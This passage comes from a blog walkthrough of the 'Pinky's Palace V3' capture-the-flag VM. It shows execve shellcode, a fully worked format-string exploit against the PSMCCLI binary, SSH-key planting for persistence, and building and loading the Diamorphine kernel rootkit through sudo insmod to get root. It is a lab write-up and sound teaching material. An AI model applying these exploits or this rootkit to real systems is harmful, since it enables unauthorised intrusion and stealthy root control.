pinksecmanagement@pinkys-palace:/usr/local/bin$ export SPAWN=$(python -c "print '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80'")

I could now locate where the environment variable will be in memory during execution of the target binary

pinksec@pinkys-palace:/tmp$ ./getenvaddr SPAWN /usr/local/bin/PSMCCLI
SPAWN will be at 0xbfffff9e

So I needed to put 0xbfffff9e into 0x804a01c. I began to ensure that the memory would be aligned correctly

pinksecmanagement@pinkys-palace:/tmp$ /usr/local/bin/PSMCCLI AAAABBBB$(python -c "print '%08x.'*200")

Screenshot 16

The plan will be to replace AAAA and BBBB with memory addresses of where I want to overwrite (I'll be overwriting two 2 byte locations rather than 1 4 bytes as it is easier)

It can be seen the stack is not quite aligned by 1 byte so I padded it

pinksecmanagement@pinkys-palace:/tmp$ /usr/local/bin/PSMCCLI AAAABBBBC$(python -c "print '%08x.'*200")

Screenshot 17

This nicely padded it, to bye 122 and 123 which I confirmed

pinksecmanagement@pinkys-palace:/tmp$ /usr/local/bin/PSMCCLI AAAABBBBC%122\$x%123\$x
[+] Args: AAAABBBBC4141414142424242

To do this I needed to write it in little-endian so needed to inject 0xbfffff9e as 0xff9e then 0xbfff

I had to overwrite the addresses as follows

0x804a01c with 0xff9e
0x804a01e with 0xbfff

So the start of the exploit was, with the target addresses converted to little endian

$(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")

I then had to pad it 1 byte

$(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")C

The first value to write was 0xff9e which is 65438 in decimal, so I need to print 65438 bytes before the \$hn to write memory, but the exploit already contains 9 bytes, so it needed 65429 more. This made the next part of the exploit

$(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")C%65429x%122\$hn

From here I needed to write 0xbfff which is 49151, I had already gone over this, so I had to cycle round, the max value of a 2 byte unsigned int is 65535, as 65439 have already been printed 97 would max it, and 98 would overflow it. Then I needed 49151 more, so the total to read would be 49249. Which leads to the final exploit

$(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")C%65429x%122\$hn%49249x%123\$hn

So I ran the exploit

pinksecmanagement@pinkys-palace:/tmp$ /usr/local/bin/PSMCCLI $(printf "\x1c\xa0\x04\x08\x1e\xa0\x04\x08")C%65429x%122\$hn%49249x%123\$hn
$

Note: Looking back at this you may be wondering why I switched from python to printf, and I recently realised why, although in this writeup I used python (python2) in all commands, when actually executing them some I used python3, this caused issues with the text encoding, which broke the exploit, using printf fixed this and at the time I did not realise it was python3 causing the issues!

And a new shell was popped

$ whoami
pinky

Due to some issue my usual python trick didn't work, so I generated an ssh key which I would setup onto the account

root@kali:~# ssh-keygen -t rsa -b 2048
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): pinky
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in pinky.
Your public key has been saved in pinky.pub.
The key fingerprint is:
SHA256:mFeSPmhaCsAdfviAo6qvSj56hamBCSy56IotmGoL8Zo root@kali
The key's randomart image is:
+---[RSA 2048]----+
|   .             |
|. + o    .       |
|o= = .  o .      |
|=o. +  = o       |
|Bo.o .* S        |
|Boo..= . .       |
|==..o            |
|@B.              |
|EB=              |
+----[SHA256]-----+
root@kali:~# cat pinky.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcfxQipD4gBPube3L1uo9duTa2vhxeiDyvOtivnlzzCFVIffd3T0N9n/6+NpvQksYhub2xLX0zs85dgT8k16ODa0Wd7pd6l/IjDn3ELhiRgDczVT44zfc6YzePZmtozQKjZRP+dvjrw07UzK3C0ZgfARe97u3msNJfI6ED007fVkDdDYLwB19fccMMnG4AF5fClG9paGl529iUdj0wn0RIVnHGB7onpxUPCYDOs8lpOHDEXQmCCbFDNDFmpg1nNz2m822yeGT45WpAY/A49MatHIhZFqavNvKGVvGd75OQLfwh7XKlj6dZm+IQW4+flL2rcsEXJKufr9uAXgyx3wVn root@kali

With the key generated I put it onto the server so I could use it

$ cd /home/pinky
$ ls -la
drwx------ 2 pinky pinky 4096 May 15 02:47 .
drwxr-xr-x 5 root  root  4096 May 12 18:36 ..
lrwxrwxrwx 1 root  root     9 May  7 21:01 .bash_history -> /dev/null
-rw-r--r-- 1 pinky pinky  220 Apr 19 17:52 .bash_logout
-rw-r--r-- 1 pinky pinky 3526 Apr 19 17:52 .bashrc
lrwxrwxrwx 1 root  root     9 May  7 21:01 .mysql_history -> /dev/null
-rw-r--r-- 1 pinky pinky  675 Apr 19 17:52 .profile
$ mkdir .ssh
$ echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCcfxQipD4gBPube3L1uo9duTa2vhxeiDyvOtivnlzzCFVIffd3T0N9n/6+NpvQksYhub2xLX0zs85dgT8k16ODa0Wd7pd6l/IjDn3ELhiRgDczVT44zfc6YzePZmtozQKjZRP+dvjrw07UzK3C0ZgfARe97u3msNJfI6ED007fVkDdDYLwB19fccMMnG4AF5fClG9paGl529iUdj0wn0RIVnHGB7onpxUPCYDOs8lpOHDEXQmCCbFDNDFmpg1nNz2m822yeGT45WpAY/A49MatHIhZFqavNvKGVvGd75OQLfwh7XKlj6dZm+IQW4+flL2rcsEXJKufr9uAXgyx3wVn > /home/pinky/.ssh/authorized_keys
root@kali:~# ssh pinky@192.168.56.102 -i pinky -p 5555
pinky@pinkys-palace:~$

Rootkit to root

With proper ssh access I could now look around for a route to root

pinky@pinkys-palace:~$ sudo -l
Matching Defaults entries for pinky on pinkys-palace:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User pinky may run the following commands on pinkys-palace:
    (ALL) NOPASSWD: /sbin/insmod
    (ALL) NOPASSWD: /sbin/rmmod

These tools allow me to install kernel modules. So, I could install a rootkit to spawn a root shell, I found https://github.com/m0nad/Diamorphine which I downloaded locally to transfer to the target

root@kali:~# git clone https://github.com/m0nad/Diamorphine
root@kali:~# scp -P 5555 -i pinky -r Diamorphine pinky@192.168.56.102:/tmp

This loaded the rootkit onto the target

pinky@pinkys-palace:~$ cd /tmp
pinky@pinkys-palace:/tmp$ ls -la
drwxrwxrwt 10 root  root  4096 Sep  3 15:05 .
drwxr-xr-x 21 root  root  4096 Apr 19 17:46 ..
drwxr-xr-x  3 pinky pinky 4096 Sep  3 15:05 Diamorphine
[SNIP]

With the rootkit in place, I set it up

pinky@pinkys-palace:/tmp$ cd Diamorphine/
pinky@pinkys-palace:/tmp/Diamorphine$ make
make -C /lib/modules/4.9.0-6-686/build M=/tmp/Diamorphine modules
make[1]: Entering directory '/usr/src/linux-headers-4.9.0-6-686'
  CC [M]  /tmp/Diamorphine/diamorphine.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /tmp/Diamorphine/diamorphine.mod.o
  LD [M]  /tmp/Diamorphine/diamorphine.ko
make[1]: Leaving directory '/usr/src/linux-headers-4.9.0-6-686'

Then installed it as a kernel module

pinky@pinkys-palace:/tmp/Diamorphine$ sudo insmod diamorphine.ko

And utilised it to become root

pinky@pinkys-palace:/tmp/Diamorphine$ kill -64 0
pinky@pinkys-palace:/tmp/Diamorphine$ id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),1000(pinky)

As I was now root I could grab the flag

pinky@pinkys-palace:/tmp/Diamorphine$ cd /root
pinky@pinkys-palace:/root$ ls -la
drwx------  2 root root 4096 May 15 04:41 .
drwxr-xr-x 21 root root 4096 Apr 19 17:46 ..
lrwxrwxrwx  1 root root    9 May  7 20:53 .bash_history -> /dev/null
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
lrwxrwxrwx  1 root root    9 May  7 20:53 .mysql_history -> /dev/null
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root  787 May 15 03:05 root.txt
-rw-------  1 root root 8269 May 15 04:41 .viminfo
pinky@pinkys-palace:/root$ cat root.txt
 ____  _       _          _
|  _ \(_)_ __ | | ___   _( )___
| |_) | | '_ \| |/ / | | |// __|
|  __/| | | | |   <| |_| | \__ \
|_|   |_|_| |_|_|\_\\__, | |___/
                    |___/
 ____       _              __     _______
|  _ \ __ _| | __ _  ___ __\ \   / /___ /
| |_) / _` | |/ _` |/ __/ _ \ \ / /  |_ \
|  __/ (_| | | (_| | (_|  __/\ V /  ___) |
|_|   \__,_|_|\__,_|\___\___| \_/  |____/
[+][+][+][+][+] R00T [+][+][+][+][+]
[+] Congrats on Pwning Pinky's Palace V3!
[+] Flag: [REDACTED]
[+] I hope you enjoyed and learned from this box!
[+] If you have feedback send me it on Twitter!
[+] Twitter: @Pink_P4nther
[+] Thanks to my dude 0katz for helping with testing, follow him on twitter: @0katz

And with that I was done, this machine was a lot of fun and really made me think, bring on v4!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.